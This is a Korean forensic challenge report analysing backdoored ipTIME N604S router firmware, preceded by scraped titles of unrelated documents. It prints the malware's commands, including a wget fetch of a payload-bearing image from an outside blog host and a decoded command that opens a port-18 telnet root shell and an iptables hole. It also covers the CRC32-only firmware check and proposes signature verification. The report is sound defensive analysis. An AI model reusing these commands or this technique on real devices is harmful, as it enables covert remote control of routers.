목차 I. 요약문 소개 침해사고결과요약... 4 II. 문제및풀이 플래시메모리에서추출한펌웨어에서악성코드파일을찾으시오 악성코드파일의악성행위를상세히분석하시오 공격자가펌웨어를수정할수있었던원인은펌웨어검증

Similar documents
1) 인증서만들기 ssl]# cat > // 설명 : 발급받은인증서 / 개인키파일을한파일로저장합니다. ( 저장방법 : cat [ 개인키

1) 인증서만들기 ssl]# cat > // 설명 : 발급받은인증서 / 개인키파일을한파일로저장합니다. ( 저장방법 : cat [ 개인키

Secure Programming Lecture1 : Introduction

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx

#WI DNS DDoS 공격악성코드분석

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3

PowerPoint 프레젠테이션

Install stm32cubemx and st-link utility

Microsoft Word - ntasFrameBuilderInstallGuide2.5.doc

BMP 파일 처리

Microsoft PowerPoint - chap01-C언어개요.pptx

PowerPoint 프레젠테이션

Research & Technique Apache Tomcat RCE 취약점 (CVE ) 취약점개요 지난 4월 15일전세계적으로가장많이사용되는웹애플리케이션서버인 Apache Tomcat에서 RCE 취약점이공개되었다. CVE 취약점은 W

임베디드시스템설계강의자료 4 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과

디지털일안리플렉스카메라펌웨어업그레이드순서에대하여 (Mass Storage 대응기종 ) - Mac 판 - 니콘제품을애용해주셔서대단히감사합니다. 여기에서는이번다운로드대상이되는니콘디지털일안리플렉스카메라의펌웨어버전업그레이드에대해설명하고있습니다. 그리고니콘서비스센터에서의업데이트

Adobe Flash 취약점 분석 (CVE )

슬라이드 1

Microsoft PowerPoint - 02_Linux_Fedora_Core_8_Vmware_Installation [호환 모드]

Microsoft Word - windows server 2003 수동설치_non pro support_.doc

Microsoft PowerPoint - 03-Development-Environment-2.ppt

The Pocket Guide to TCP/IP Sockets: C Version

PowerPoint 프레젠테이션

SIGIL 완벽입문

PowerPoint Presentation

System Recovery 사용자 매뉴얼

Secure Programming Lecture1 : Introduction

USB 케이블만을이용한리눅스 NFS 개발환경 (VirtualBox) 최초작성 : 2010 년 10 월 21 일 작성자 : 김정현 수정내용 최초작성 by 김정현 스크립트추가, 설명보충 by 유형목 1. VritualBox

JAVA 프로그래밍실습 실습 1) 실습목표 - 메소드개념이해하기 - 매개변수이해하기 - 새메소드만들기 - Math 클래스의기존메소드이용하기 ( ) 문제 - 직사각형모양의땅이있다. 이땅의둘레, 면적과대각

Microsoft PowerPoint Android-SDK설치.HelloAndroid(1.0h).pptx

취약점분석보고서 [Photodex ProShow Producer v ] RedAlert Team 안상환

목차 1. 개요 배경 파일정보 상세분석 SMB 취약점공격흐름 특징적인행위 대응

목 차 개요 규격의구성및범위 관련표준및규격 국외표준및규격 국내표준및규격 기타 정의 전자서명법용어정의 용어의정의 용어의효력 약어 인증경로구축 인증경로검증알고리즘 인증서경로기본검증 검증알고리즘 부록 규격연혁

임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과

ISP and CodeVisionAVR C Compiler.hwp

슬라이드 1

슬라이드 1

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F >

untitled

RHEV 2.2 인증서 만료 확인 및 갱신

<4D F736F F F696E74202D C61645FB3EDB8AEC7D5BCBA20B9D720C5F8BBE7BFEBB9FD2E BC8A3C8AF20B8F0B5E55D>

Microsoft Word - src.doc

Oracle hacking 작성자 : 임동현 작성일 2008 년 10 월 11 일 ~ 2008 년 10 월 19 일 신규작성 작성내용

아이콘의 정의 본 사용자 설명서에서는 다음 아이콘을 사용합니다. 참고 참고는 발생할 수 있는 상황에 대처하는 방법을 알려 주거나 다른 기능과 함께 작동하는 방법에 대한 요령을 제공합니다. 상표 Brother 로고는 Brother Industries, Ltd.의 등록 상

4S 1차년도 평가 발표자료

Android Master Key Vulnerability

슬라이드 1

<4D F736F F F696E74202D20B8AEB4AABDBA20BFC0B7F920C3B3B8AEC7CFB1E22E BC8A3C8AF20B8F0B5E55D>

ActFax 4.31 Local Privilege Escalation Exploit

2 카메라의 펌웨어버전을확인합니다 카메라기종에따라표시되는화면이다를수있습니다. 1 카메라의전원을 ON으로합니다. 2 카메라의메뉴버튼 MENU을누르고메뉴화면을표시합니다. 3 [ 설정메뉴 ] 에서 [ 펌웨어버전 ] 를선택합니다. 4 카메라의 펌웨어버전이표시됩니다. 버전이업그

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서

슬라이드 1

bn2019_2

SQL Developer Connect to TimesTen 유니원아이앤씨 DB 기술지원팀 2010 년 07 월 28 일 문서정보 프로젝트명 SQL Developer Connect to TimesTen 서브시스템명 버전 1.0 문서명 작성일 작성자

메일서버등록제(SPF) 인증기능적용안내서 (HP-UX - qmail) OS Mail Server SPF 적용모듈 (Perl 기반) 작성기준 HP-UX 11.11i qmail 1.03 spf-filter 년 6 월

리눅스설치가이드 3. 3Rabbitz Book 을리눅스에서설치하기위한절차는다음과같습니다. 설치에대한예시는우분투서버 기준으로진행됩니다. 1. Java Development Kit (JDK) 또는 Java Runtime Environment (JRE) 를설치합니다. 2.

목차 윈도우드라이버 1. 매뉴얼안내 운영체제 (OS) 환경 윈도우드라이버준비 윈도우드라이버설치 Windows XP/Server 2003 에서설치 Serial 또는 Parallel 포트의경우.

Microsoft PowerPoint - chap06-2pointer.ppt

Windows 8에서 BioStar 1 설치하기

PowerPoint 프레젠테이션

Microsoft Word - poc_script1.doc

리눅스 프로세스 관리

Microsoft PowerPoint - [#4-2] File System Forensic Analysis.pptx

Microsoft PowerPoint SDK설치.HelloAndroid(1.5h).pptx

이도경, 최덕재 Dokyeong Lee, Deokjai Choi 1. 서론

untitled

네이버블로그 :: 포스트내용 Print VMw are 에서 Linux 설치하기 (Centos 6.3, 리눅스 ) Linux 2013/02/23 22:52 /carrena/ VMware 에서 l

PowerPoint 프레젠테이션

<BBE7B0EDB3EBC6AE5FC7E3BAEAB0D4C0D32E687770>

< FBBE7B0EDB3EBC6AE5FB5F0C6FAC6AEC6D0BDBABFF6B5E5C3EBBEE0C1A128BCF6C1A4292E687770>

PowerPoint 프레젠테이션

게시판 스팸 실시간 차단 시스템

PowerPoint 프레젠테이션

Table of Contents 1. 분석 유포경로 악성파일분석 드롭퍼 A 분석 드롭퍼 B 분석 페이지 2 / 17

소프트웨어설치 1. 소프트웨어설치및제거 ( 소스코드 ) 소스코드컴파일을이용한 S/W 설치 1. 소스코드다운로드 - 예 ) httpd tar.gz - 압축해제 : #tar xzvf httpd tar.gz - INSTALL 또는 README파일참조


작성자 : 기술지원부 김 삼 수

Microsoft PowerPoint - 30.ppt [호환 모드]

메일서버등록제(SPF) 인증기능적용안내서 (Exchange Windows 2003) OS Mail Server SPF 적용모듈 작성기준 Windows Server 2003 Exchange Server 2003 GFI MailEssentials 2010 fo

PowerPoint 프레젠테이션

10 강. 쉘스크립트 l 쉘스크립트 Ÿ 쉘은명령어들을연속적으로실행하는인터프리터환경을제공 Ÿ 쉘스크립트는제어문과변수선언등이가능하며프로그래밍언어와유사 Ÿ 프로그래밍언어와스크립트언어 -프로그래밍언어를사용하는경우소스코드를컴파일하여실행가능한파일로만들어야함 -일반적으로실행파일은다

학습목차 2.1 다차원배열이란 차원배열의주소와값의참조

Contributors: Myung Su Seok and SeokJae Yoo Last Update: 09/25/ Introduction 2015년 8월현재전자기학분야에서가장많이쓰이고있는 simulation software는다음과같은알고리즘을사용하고있다.

Frama-C/JESSIS 사용법 소개

슬라이드 1

실험 5

메일서버등록제(SPF) 인증기능적용안내서 (AIX - sendmail) OS Mail Server SPF 적용모듈 (Perl 기반) 작성기준 AIX 5.3 sendmail spf-filter 년 6 월

Microsoft Word - PLC제어응용-2차시.doc

PowerPoint 프레젠테이션

*2008년1월호진짜

[Brochure] KOR_TunA

Microsoft Word - 3부A windows 환경 IVF + visual studio.doc

PowerPoint 프레젠테이션

2) 활동하기 활동개요 활동과정 [ 예제 10-1]main.xml 1 <LinearLayout xmlns:android=" 2 xmlns:tools="

작성자 : saint Overview BackTrack 는 LILO 를부트로더로사용한다. BactTrack 을기본환경설정그대로설치하면부팅할수없는경우가있는데, 이것은실린더크기가 1024 보다큰하드디스크에설치하면 LILO 가 OS 를정상적으로읽어올수없기때문이다. 요즘나오는

SBR-100S User Manual

강의 개요

Microsoft PowerPoint - chap11.ppt [호환 모드]

문서의 제목 나눔고딕B, 54pt

<4D F736F F D20B1B9B0A1BAB020BEC6C0CCC7C720C2F7B4DC20B0A1C0CCB5E5>

< FBFF9B0A320BEC7BCBAC4DAB5E520C0BAB4D0BBE7C0CCC6AE20C5BDC1F620B5BFC7E220BAB8B0EDBCAD283131BFF E302028C8A8C6E4C0CCC1F620BEF7B

Transcription:

KDFS 2015 Challenge 10. 25. 2015. Name: Kyeongsik Lee E-Mail: rapfer@gmail.com 1

목차 I. 요약문... 4 1. 소개... 4 2. 침해사고결과요약... 4 II. 문제및풀이... 5 1. 플래시메모리에서추출한펌웨어에서악성코드파일을찾으시오.... 5 2. 악성코드파일의악성행위를상세히분석하시오... 5 3. 공격자가펌웨어를수정할수있었던원인은펌웨어검증논리에취약점이있기때문이다. 펌웨어검 증과정과취약점에대해서술하시오.... 6 4. 취약한펌웨어검증논리에대한대책을상세히논하시오.... 7 III. 상세보고서... 8 1. 분석정보... 8 2. 펌웨어이미지분석... 9 3. 공유기정보수집... 10 4. 변조된파일분석... 12 5. 추가된악성코드분석... 13 6. 펌웨어업데이트취약점및해결방안... 16 2

표목차 표 1. 식별된악성코드... 5 표 2. 분석에사용한소프트웨어목록... 8 표 3. 분석환경... 8 표 4. 식별된악성코드목록 ( 예상 )... 11 그림목차 그림 1. 펌웨어구조... 5 그림 2 다운로드받은이미지... 6 그림 3. 프로그램코드에대한디지털서명과정... 7 그림 4. binwalk 로분석한파티션구조... 9 그림 5. /sbin/rc 파일비교... 12 그림 6. 변조된정보를접근하는루틴 (start_nas)... 12 그림 7. 악성코드가다운로드한파일... 13 그림 8. 악성이미지다운로드사이트... 14 그림 9. 이미지파일뒤에있는추가데이터... 15 그림 10. TRXv1 헤더구조... 16 그림 11. 분석과정에서식별된펌웨어구조... 16 그림 12. 프로그램코드에대한디지털서명과정 ( 참고 : mil-embedded.com)... 18 그림 13. 프로그램코드에대한디지털서명과정... 19 3

I. 요약문 1. 소개 본보고서는 ( 사 ) 한국디지털포렌식학회에서주최한포렌식챌린지에대한분석내용을다룬다. 포렌식챌린지는대표적인사물인터넷장비 (IoT) 인유무선공유기의침해당한펌웨어이미지를분석하여침해시나리오구성및사고대응방안을보고서형태로제출하는것이목적이다. 본챌린지에서제공된이미지는다음과같다. - 2015_KDFS_Challenge.bin - a86936be703759f94ea939bde3a68961 챌린지에는하나의펌웨어이미지가주어졌으며, 문제는크게 악성코드식별 => 악성행위분석 => 침해경로파악 => 해결방안도출 로실제분석절차와유사하다. 보고서도이와거의동일한순서로작성하였다. 본보고서는챌린지소개및침해사고에분석결과를간략하게요약한 요약문 과챌린지에서주어진문제에대한답을기술한 문제및풀이 그리고분석가관점에서세부내용을기술한 상세보고서 로이루어져있다. 악성코드분석에는동적 / 정적분석을수행하였으며, 챌린지에사용된기기와동일모델 (n604s) 를구매하여분석결과를검증하였다. 2. 침해사고결과요약 본침해사고는피해자의공유기 ( 모델명 : n604s) 의업데이트로직취약점을통해공격자가변조한악성펌웨어이미지 (MD5: a86936be703759f94ea939bde3a68961) 의펌웨어업데이트를진행하였다 1. 공유기업데이트가완료되고자동으로재시작되는과정에서악성펌웨어에내장된악성코드가실행된다. 이악성코드는공유기가재시작할때마다실행되고사용자에게보여지는웹인터페이스의정보가변경되지않기때문에일반사용자가문제를인지하기어렵다. 악성코드는공유기가재시작할때마다구글에서제공하는블로그 (Blogger) 서비스에공격자가미리올려둔이미지파일을다운로드하고, 이미지뒤에붙어있는인코딩된명령어를디코딩하여실행한다. 챌린지시점에디코딩하여수행하는명령은 18 번포트로텔넷접속을할수있도록하는것으로침해사고를당한공유기는공격자가 18 번포트에텔넷으로접속하여제어권을획득할수있다. 1 본챌린지에서는펌웨어업데이트화면침투방법에대한질의가없어서침투과정에대한 분석은제외하였다. 4

II. 문제및풀이 1. 플래시메모리에서추출한펌웨어에서악성코드파일을찾으시오. Q) 추출한펌웨어의구조에대하여설명하시오. A) 펌웨어는그림 1 과같이 LZMA 로압축된 펌웨어인터페이스및부트로더 (CFE 2 ) 영역, 데이터와실제펌웨어정보를기록한 TRX 영역, 그리고패키지헤더 (Package Header) 로이루어져있다. 그림 1. 펌웨어구조 리눅스파일시스템형태로공유기에저장되는영역은 TRX 영역이다. 이영역에는 CFE 이후에부팅을위한부트로더영역과서비스구동에필요한컨텐츠를저장하는리눅스파일시스템이있다. 공격자는주로이영역에파일추가또는변조행위를하여악의적인기능을수행한다. 패키지헤더는펌웨어업데이트과정에서사용하며, 펌웨어이미지를적용한모델명과펌웨어의버전정보와이두값을부팅과정에서검증하기위한체크섬 (checksum) 을저장한다. 기기는 IPTIME n604s 모델이며, 펌웨어버전은 9.72 이다. 루트파일시스템은 CramFS(Compressed ROM file system) 를사용한다. Q) 파일시스템에서악성코드파일을찾으시오. A) 동일버전펌웨어 ( 파일명 : n604s_kr_9_72.bin, MD5: a6bdc6e53588e0e08a4c33e8fdcb2e09) 를이용한화이트리스팅판별결과, 변조된파일은 1 개이며, 새롭게추가된악성코드는 3 개이다. 단, /sbin/utelnetd 는악의적인목적으로추가되었지만파일자체는텔넷서비스를제공하는정상적인프로그램이다. 표 1. 식별된악성코드 변조및추가프로그램해시 변조 추가 /sbin/rc /sbin/initi /sbin/utelnetd /sbin/pptpctrld 2. 악성코드파일의악성행위를상세히분석하시오. 변조전 : 4b8998eb25f4b0cb0e2f9fc83b34a902 변조후 : 6c7c0e28183021f878aadb51ef78a214 18a1e94205352d46f41473e58177b56d 77d3e982f2f66a42390c8e3be406fc5e 9d4a3213a2c3a93548c634567b699aab Q) 악성코드가외부서버에서다운로드하는 URL 은무엇인가? A) /sbin/pptpctrld 악성코드에의해다운로드되며경로는 http://1.bp.blogspot.com/- obaml33af1k/vbxurdejn6i/aaaaaaaaaam/ocobpawmcxe/s1600/electrocat.png 이다. 이미지다운로드를위해구글블로그서비스를이용하였다. 2 Common Firmware Environment(CFE) Functional Specification: http://melbourne.wireless.org.au/files/wrt54/cfe.pdf 5

Q) 악성코드가외부서버에서받아오는데이터의내용은무엇인가? A) PNG 이미지파일이며 PNG 파일끝에 112 바이트의인코딩된임무가저장되어있다. 악성코드는 PNG 파일의 itxt 필드를통해이미지파일을검증하고, 파일끝 112 바이트를디코딩하여나온문자열쉘명령어로실행한다. PNG 이미지파일은그림 2 와같다. 그림 2 다운로드받은이미지 Q) 악성코드가외부서버에서받아온데이터는어떤행위를하는가? A) 펌웨어이미지내에있는 /sbin/utelnetd 프로그램을실행한다. 이프로그램은 18 번포트를대기 (listen) 하다가 18 번포트로접근하는텔넷연결에쉘 (/bin/sh) 을제공한다. 또한리눅스방화벽역할을하는 iptables 설정을변경하여 18 번포트로들어오는연결을허용한다. 실행명령어는다음과같다. /sbin/utelnetd -p 18 -l /bin/sh 2> /dev/null &\r\n/sbin/iptables -A INPUT -p tcp --dport 18 -j ACCEPT 2> /dev/null Q) 추가가능한공격시나리오를서술하시오. A) iptable 에도 18 번포트에대한외부접근이허용되어있으므로, telnet 을이용하여 18 번포트로접속공격자가원하는행동을수행할수있다. 또한다운로드받는이미지파일뒤의인코딩된 112 바이트명령어를변경하여공유기부팅시점에공격자가원하는기능을수행할수있다. 3. 공격자가펌웨어를수정할수있었던원인은펌웨어검증논리에취약점이있기때문이다. 펌웨어검증과정과취약점에대해서술하시오. 침해사고펌웨어이미지인 9.72 버전을기준으로, 업데이트시펌웨어검증절차는다음과같다. 문제풀이에는간략한내용만다루며, 상세내용은 III. 상세보고서 중 6. 펌웨어업데이트취약점및해결방안 을참고하기바란다. 1. 비휘발성메모리 (NVRAM) 에저장된펌웨어모델명과패키지헤더의펌웨어모델명정보를비교한다. 모델명이펌웨어루틴에있는모델이아니라면펌웨어업데이트에실패한다. 2. 비휘발성메모리 (NVRAM) 에저장된업데이트가가능한최소버전정보와패키지헤더의버전정보를비교한다. 만약 7.62 버전이하일경우펌웨어업데이트에실패한다. 3. TRX 영역의시그니처, TRX 영역길이정보등메타정보를검증하여원하는값이아니면업데이트에실패한다. 4. TRX 영역에서 TRX 헤더의 CRC32 정보이후부터 TRX 영역끝까지의 CRC32 를계산한다. 이값이 TRX 헤더의 CRC32 값과다르다면업데이트에실패한다. 6

현재공유기의펌웨어검증은변조가능한정보에의존하고있다. 기기이름과버전정보를저장하는패키지헤더 (Package Header) 는단순히문자열을비교 3 한다. 펌웨어이미지에대한무결성검증도기존 TRX 펌웨어포맷의펌웨어검증기능인 CRC32 에의존하고있으므로, 공격자가변조된펌웨어에맞는 CRC32 값을계산하여해당필드를변경한다면, 손쉽게펌웨어검증논리를우회할수있다. 이문제는펌웨어이미지의무결성과배포자의신뢰성때문에발행한다. 4. 취약한펌웨어검증논리에대한대책을상세히논하시오. 앞서설명한문제를해결하기위한방법은디지털서명을사용하는것이다. 이방법은해시, 공개키알고리즘, 키배포알고리즘을이용하여정보를보호하는방법이다. 본방법의전제조건은제조사공개키와개인키를생성하고인증기관 (CA) 을통해공개키에디지털서명을받아디지털인증서를생성하는작업과최초공유기배포단계에이디지털인증서와본보고서에서제시하는검증논리가반영되어야하는두가지전제조건이필요하다. 1. 펌웨어제조사 ( 본챌린지에서는 EFM 네트웍스 ) 는공개키와개인키를생성하고공개 키를인증기관 (CA) 에전달하여인증기관 (CA) 으로부터서명된인증서를발급받는다. 2. 펌웨어제조사는발급받은디지털인증서 ( 공개키 ) 와개인키를디지털서명용도의 안전한시스템에보관한다. 본예에선이를 안전한지역 으로칭한다. 3. 펌웨어제조사에서펌웨어를개발한다. 개발되서배포준비된펌웨어이미지를디지털 서명센터에전달한다. 4. 디지털서명센서는펌웨어에개인키로서명한디지털서명정보를붙여배포한다. 5. 공유기는로드된펌웨어이미지를기기에내장된공개키를이용하여검증한다. 6. 검증결과올바르다면, 기존펌웨어업데이트를진행한다. 이절차를그림으로표현하면그림 3 과같다. 그림 3. 프로그램코드에대한디지털서명과정 3 검증과정에서업데이트시에는패키지헤더의무결성여부를검증하는 ICV 정보를확인하지않고업데이트가정상적으로진행되었으나, 부트로더로딩과정에서체크섬에러가발생할수있다. 하지만이과정은펌웨어업데이트과정에포함되지않아본분석에서제외하였다. 7

III. 상세보고서 1. 분석정보 본대회에서는침해사고를당한공유기의펌웨어이미지덤프를제공하였다. 주어진펌웨어이미지의해시정보는다음과같다. 2015_KDFS_Challenge.bin MD5: a86936be703759f94ea939bde3a68961 대상이미지는공유기의펌웨어이고침해사고를분석하는내용이므로, 펌웨어의포맷과파일시스템을분석할수있는도구와추출된의심파일의목적을알아내는도구가필요하다. 본분석에활용된도구는다음과같다. 표 2. 분석에사용한소프트웨어목록 소프트웨어 설명 Firmware Mod Kit 펌웨어이미지를분석및기존펌웨어를리패키징하여변조된펌웨어를만들수있는도구모음 IDA Pro 실행코드분석도구 Diff BSD 에내장된파일비교도구 MD5 BSD 에내장된 MD5 해시도구 010 Editor 바이너리분석도구 QEMU CPU 레벨가상화프로그램 strace 실행된또는실행할프로그램을추적하는시스템추적도구 xshell 검증을위한 UART 연결 분석장비로데스크탑한대와노트북한대를사용하였으며, 분석결과를확인하기위해분석과정에서확인된공유기와동일모델을구매하여 UART 를통한디버그메시지를확인하였다. 표 3. 분석환경 종류보고서작성및검증시스템연동 (UART) 펌웨어이미지분석시스템검증시스템 세부내용 i7-3770, 32GB RAM, Windows 10(64bit) Macbook Air 2014, OS X Yosemite 10.5 (64bit) n604s 공유기, 9.72 펌웨어설치, UART: 1152000bps 8

2. 펌웨어이미지분석 펌웨어는여러정보를효과적으로보관하기위한고유의구조를가지고있으므로, 구조를해석하여정보를추출하는과정이필요하다. Firmware Mod Kit 의 binwalk 를이용하면대부분의공유기펌웨어이미지를분석할수있다. 4 $ binwalk 2015_KDFS_Challenge.bin DECIMAL HEXADECIMAL DESCRIPTION ------------------------------------------------------------------------- ------- 46692 0xB664 LZMA compressed data, properties: 0x5D, dictionary size: 16777216 bytes, uncompressed size: 209044 bytes 131072 0x20000 TRX firmware header, little endian, image size: 3654656 bytes, CRC32: 0x85FE9CEF, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x15E424, rootfs offset: 0x0 131100 0x2001C LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 4378624 bytes 1565732 0x17E424 CramFS filesystem, little endian, size: 2220032 version 2 sorted_dirs CRC 0x51549668, edition 0, 1860 blocks, 371 files 분석결과, TRX 포맷으로커널및주요파일이관리되고있었다. 0xB664 와 0x2001C 영역에있는 LZMA 로압축된파일을압축해제하여확인한결과, 0xB664 영역은펌웨어인터페이스와부트로더역할을하는 CFE(Common Firmware Environment) 영역이였으며, 0x2001C 는리눅스커널을로드하기위한부트로더와커널이위치하였다. 분석결과를그림으로표현하면그림 2 와같다. 그림 4. binwalk 로분석한파티션구조 5 펌웨어이미지에는부팅이미지와같이운영체제로드에필요한정보와공유기관리에필요한파일을저장하는파티션이있다. 이펌웨어이미지는위와같이 CramFS 6 를사용한다. 이파일시스템구조를해석하면공유기에있는파일을추출할수있다. 4 Binwalk 는제공되는이미지의모든영역을분석하는것이아닌, TRX, uimage 와같이임베디드커널이미지영역을분석기능을제공한다. 5 실제론 TRX 영역뒤에패키지헤더 (Package Header) 가위치하며, 해당내용은 6. 펌웨어업데이트취약점및해결방안 에기술되어있다. 6 CramFS : Compressed ROM file system 의약어로임베디드기기를위한읽기전용리눅스파일시스템이다. 9

3. 공유기정보수집 파일시스템에서파일을추출했다면, 이펌웨어가동작된기기의제품모델명과올라간펌웨어의버전정보를확인한다. 이러한정보를수집하면, 제조사홈페이지를통해깨끗한 ( 클린, Clean) 상태의펌웨어이미지를획득할수있다. 클린상태의펌웨어이미지를획득하면, 챌린지에서제공된펌웨어이미지에화이트리스팅기법을적용하여변조또는추가된파일을식별할수있다. /default/var/run/hwinfo 에서하드웨어정보를확인할수있다. 확인결과, 해당이미지의펌웨어모델명은 n604s 이다. /default/var/run$ cat hwinfo company_name=efm Networks product_name=iptime N604S url=www.iptime.co.kr max_vlan=5 mirror_port=4 num_lan_port=4 icmp_conntrack_max=1024 auth_server=auth2.efm-net.com max_txpower_gain=76 flash_diag_dev=/dev/mtd/3 language=kr product_alias=n604s 펌웨어버전은 9.72 로 home/httpd/versions 에서확인할수있다. /home/httpd$ cat version 9.72 화이트리스팅기법을적용하기위해서는클린상태의펌웨어이미지의각파일에대한해시셋이필요하다. 아이피타임 n604s 모델의 9.72 펌웨어클린이미지는아이피타임홈페이지에서다운로드할수있다 7. 다운로드받은펌웨어의 MD5 해시값은다음과같다. $ md5 n604s_kr_9_72.bin MD5 (n604s_kr_9_72.bin) = a6bdc6e53588e0e08a4c33e8fdcb2e09 다운로드받은펌웨어를 binwalk 도구로 CramFS 영역의파일을추출하고, 두파일셋의각파일에대한 MD5 해시값을구한후챌린지의펌웨어이미지의해시값과비교하여일치하지않는파일을추출하였다. command: diff < (sort <(md5deep -b -r ~/_n604s_kr_9_72.bin.extracted/cramfs/)) <(sort <(md5deep -b -r ~/ _2015_KDFS_Challenge.bin.extracted/dumped/)) > ~/diff2.txt 두펌웨어의파일셋을비교한결과, 변조및추가된악성코드목록 ( 예상 ) 은다음과같다. 7 다운로드링크 : http://iptime.com/iptime/?page_id=126&pageid=1&mod=document&keyword=n604s&uid=16566 10

표 4. 식별된악성코드목록 ( 예상 ) 변조및추가 악성코드 ( 예상 ) 해시 변조 /sbin/rc 변조전 : 4b8998eb25f4b0cb0e2f9fc83b34a902 변조후 : 6c7c0e28183021f878aadb51ef78a214 /sbin/initi 18a1e94205352d46f41473e58177b56d 추가 /sbin/utelnetd 77d3e982f2f66a42390c8e3be406fc5e /sbin/pptpctrld 9d4a3213a2c3a93548c634567b699aab 11

4. 변조된파일분석 부팅타임에구동되는 /sbin/rc 프로그램은클린 / 감염된파일비교결과그림 5 과같이파일의특정문자열이변조된상태였다. 그림 5. /sbin/rc 파일비교 공격자는 /sbin/rc 에저장된 iptables 설정명령 ( /sbin/iptables I INPUT I lo j ACCEPT ) 을 /sbin/initi 를실행하는명령 ( sh /sbin/initi ) 으로변경하였다. 변조로인해공유기서비스실행과정에서공유기부팅함수인 start_nas 가그림 6 과같이 iptables 설정대신 initi 를새로운프로세스로실행한다. 그림 6. 변조된정보를접근하는루틴 (start_nas) 그후, 정상적인부팅과정을진행하게되며, 악성행위는앞의과정으로실행된 /sbin/initi 로부터시작된다. 12

5. 추가된악성코드분석 공유기펌웨어이미지를분석한과정에서확인된 3 개의악성파일에대한분석내용을다룬다. 가 ) /sbin/initi 분석 /sbin/initi 프로그램은쉘스크립트로다음과같이작성되어있다. $ cat /sbin/initi /sbin/iptables -I INPUT -i lo -j ACCEPT /sbin/pptpctrld & 스크립트는 /sbin/rc 파일을변경하면서제거된 iptables 명령을수행하고, /sbin/pptpctrld 를백그라운드에서동작하도록한다. 즉, 부팅과정에서 /sbin/rc 가 /sbin/initi 스크립트를실행하고, 스크립트는 /sbin/pptpctrld 를실행함으로악의적인행위를수행하게된다. 나 ) /sbin/pptpctrld 악성코드분석악성코드인 /sbin/pptpctrld 는공격자가하고자하는핵심기능을수행하는바이너리로스크립트형태가아닌 MIPS 아키텍처로컴파일한실행파일이다. 악성코드는정적컴파일되어있으며, 분석지연을위해주요문자열을인코딩하였다. 본악성코드를동적분석하기위해 MIPS 아키텍처에서해당프로그램이실행되도록하였다. 분석환경이 MIPS 프로세서가아닌인텔프로세서이므로 CPU 가상화를지원하는 QEMU 프로그램을이용하였다. 동적분석도구는 strace 를이용하여 /sbin/pptpctrld 의호출내역을추적하며행위를분석했다. 행위분석결과이악성파일은다음과같은방식으로파일을다운로드한다. execve("/bin/sh", ["sh", "-c", "wget http://1.bp.blogspot.com/- obaml33af1k/vbxurdejn6i/aaaaaaaaaam/ocobpawmcxe/s1600/electrocat.png -O /etc/pptpd.cache -q ]) /sbin/pptpctrld 프로그램은펌웨어에기본설치된 wget 명령어로위 URL 의파일을다운로드한다. 그리고파일을다운로드할때 /etc/pptpd.cache 라는이름으로바꿔서저장한다. 다운로드받은파일의실제이름은 electronicat.png (MD5: df261ba8b446ee202c86c78cf032f536) 이며 85424 bytes 의크기를가진다. 다운로드파일을 PNG 파일로뷰어로확인하면그림 7 와같이정상적으로이미지가출력된다. 그림 7. 악성코드가다운로드한파일 13

이미지파일을구글이미지검색으로수행한결과그림 8 과같은블로그가확인되었다. 블로그에업로드된이미지의경로는 /sbin/pptpctrld 가다운로드한이미지경로와동일하며, 이미지의해시값도동일하다. 그림 8. 악성이미지다운로드사이트 블로그주소는 http://dlatlwjwkdth.blogspot.kr/ 이며, 게시글은 2015 년 7 월 26 일오후 11 시 48 분으로되어있다 8. 서브도메인으로사용된영문자열의의미는한글로 임시저장소 이다. /sbin/pptpctrld 프로그램은 wget 으로받은파일이공격자가올린것이맞는지확인하기위해 PNG 이미지포맷의텍스트필드 (itxt) 내 8 바이트문자열을확인한다. [pid 16425] openat(at_fdcwd, "/tmp/etc/pptpd.cache", O_RDONLY) = 4 [pid 16425] ioctl(4, SNDCTL_TMR_TIMEBASE or TCGETS, 0x7fffc872e160) = -1 ENOTTY (Inappropriate ioctl for device) [pid 16425] mmap(0x7f8ddd7d9000, 8192, PROT_READ PROT_WRITE, MAP_PRIVATE MAP_FIXED MAP_ANONYMOUS, -1, 0) = 0x7f8ddd7d9000 [pid 16425] lseek(4, 1323, SEEK_SET) = 1323 [pid 16425] read(4, "kdfs2015 xmln", 16) = 16 [pid 16425] lseek(4, 0, SEEK_SET) = 0 [pid 16425] lseek(4, 1327, SEEK_SET) = 1327 [pid 16425] read(4, "2015 xmlns:xm", 16) = 16 악성코드가다운로드한이미지에는 kdfs2015 라는문자열이있다. 악성코드는이문자열이있을경우 85312(0x14D40) 위치에있는 112 바이트의데이터를가져오고, 이영역을디코딩하여나오는명령어를감염된기기에서실행한다. 다운로드한파일을분석한결과, 그림 7 과같이 PNG 파일포맷의끝을의미하는 END 레코드뒤에악성파일이디코딩할 112 바이트의추가데이터가존재했다. 8 구글블로그의게시시간은필요에따라변경할수있으므로 100% 신뢰할순없다. 14

그림 9. 이미지파일뒤에있는추가데이터 이부분의명령어가변경되면 C&C 와유사한역할을수행할수있다. 112 바이트의인코딩데이터를디코딩한문자열은다음과같다. /sbin/utelnetd -p 18 -l /bin/sh 2> /dev/null &\r\n/sbin/iptables -A INPUT -p tcp --dport 18 -j ACCEPT 2> /dev/null 악성코드는디코딩한문자열을다음과같이실행한다. execve("/bin/sh", ["sh", "-c", "/sbin/utelnetd -p 18 -l /bin/sh 2> /dev/null &\r\n/sbin/iptables -A INPUT -p tcp --dport 18 -j ACCEPT 2> /dev/null ],.); 악성코드는텔넷데몬인 /sbin/utelnetd 를 18 번포트에서대기 (listen) 하게설정하고, 18 번포트로접속하는사용자가있으면쉘을제공한다. 부팅과정에서 iptables 을이용하여외부접근을할수없도록설정하였으므로, iptables 명령어를이용하여 18 번포트접근을허용하게변경한다. 다 ) /sbin/utelnetd 분석 /sbin/utelnetd 는텔넷데몬으로사용자의옵션을받아시스템명령을수행한다. 텔넷데몬프로그램은악성코드가아닌잘알려진오픈소스프로그램으로, 코드내에악의적인기능을추가하지않았다. 공격자가원격에서공유기를제어하기위한목적으로함께넣은프로그램으로판단되며, 